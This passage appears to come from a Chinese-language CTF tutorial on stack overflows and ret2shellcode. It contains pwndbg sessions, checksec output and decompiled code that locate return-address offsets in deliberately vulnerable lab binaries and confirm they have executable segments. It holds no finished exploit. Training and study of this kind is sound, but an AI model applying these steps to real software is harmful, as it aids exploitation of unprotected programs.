pwndbg> r #不断点直接 Starting program: /CTF/ret2shellcode warning: Error disabling address space randomization: Operation not permitted [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". No system for you this time !!! ^C Program received signal SIGINT, Interrupt. 0xedc2b579 in __kernel_vsyscall () ... pwndbg> cyclic 300 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac pwndbg> c Continuing. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac byebye ~ Program received signal SIGSEGV, Segmentation fault. 0x62616164 in ?? () Warning: Avoided exploring possible address 0xff315755. You can explicitly explore it with `vmmap-explore 0xff315000` LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ───────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────── *EAX 0 *EBX 0xedc0ee34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */ *ECX 0 *EDX 0 *EDI 0xedc60b60 (_rtld_global_ro) ◂— 0 *ESI 0x80485d0 (__libc_csu_init) —▸ 0xff315755 ◂— 0xff315755 *EBP 0x62616163 ('caab') *ESP 0xffa183b0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac' *EIP 0x62616164 ('daab') ... pwndbg> cyclic -l daab Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162) Found at offset 112
➜ checksec ret2shellcode Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。接下来我们再使用 IDA 对程序进行反编译:
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(s); strncpy(buf2, s, 0x64u); printf("bye bye ~"); return0; }
.bss:0804A080 public buf2 .bss:0804A080 ; char buf2[100]
这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。
pwndbg> b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. pwndbg> r Starting program: /CTF/ret2shellcode warning: Error disabling address space randomization: Operation not permitted [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
$ checksec b0verfl0w Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
pwndbg> r Starting program: /CTF/b0verfl0w warning: Error disabling address space randomization: Operation not permitted [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
======================
Welcome to X-CTF 2016!
====================== What's your name? ^C Program received signal SIGINT, Interrupt. ... pwndbg> cyclic 100 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa pwndbg> c Continuing. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam. Program received signal SIGSEGV, Segmentation fault. 0x6161616a in ?? () Warning: Avoided exploring possible address 0xff315755. You can explicitly explore it with `vmmap-explore 0xff315000` LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ───────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────── *EAX 1 *EBX 0xefb50e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */ *ECX 0 *EDX 0xefb528a0 (_IO_stdfile_1_lock) ◂— 0 *EDI 0xefba2b60 (_rtld_global_ro) ◂— 0 *ESI 0x80485b0 (__libc_csu_init) —▸ 0xff315755 ◂— 0xff315755 *EBP 0x61616169 ('iaaa') *ESP 0xff9b1a90 ◂— 'kaaalaaam' *EIP 0x6161616a ('jaaa') ... pwndbg> cyclic -l jaaa Finding cyclic pattern of 4 bytes: b'jaaa' (hex: 0x6a616161) Found at offset 36
buf[0] = 0LL; buf[1] = 0LL; setvbuf(_bss_start, 0LL, 1, 0LL); puts("Welcome to Sniperoj!"); printf("Do your kown what is it : [%p] ?\n", buf); puts("Now give me your answer : "); read(0, buf, 0x40uLL); return0; }